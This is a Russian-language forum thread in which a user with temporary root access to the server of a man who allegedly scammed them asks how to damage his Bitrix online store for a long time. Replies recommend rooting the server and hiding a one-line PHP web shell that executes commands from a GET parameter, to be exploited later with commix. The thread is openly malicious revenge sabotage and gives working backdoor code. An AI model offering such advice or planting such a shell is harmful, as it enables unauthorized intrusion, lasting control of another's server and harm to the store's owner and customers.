Имеется на короткий срок SSH ROOT доступ к серверу оооочень плохого человека, который кинул на очень много денег. Там крупный интернет магазин на BITRIX. Все удалять скучно, да и восстановят. Что действительно можно сделать на очень долгий срок, так сказать навредить плохому человеку.
Тоже скучно! Можно какой-то вирус для apache или самого сервера закинуть, который будет долго им вредить?
Если есть доступ к юзерскому аккаунту под которым работают пхп-скрипты то можно попробовать порутать сам сервак. И в случае успеха восстановление из бэкапа уже не поможет) [UPD] Чёт я не заметил что рутовый доступ итак есть. Ну если он есть то вообще не вижу никаких проблем.
Самый лучший вариант - это написать самому. Самый простой вариант это написать на php... <?php exec($_GET['param']) ?> прячешь этот файл где нибудь в сервере, а потом можно например через commix использовать шелл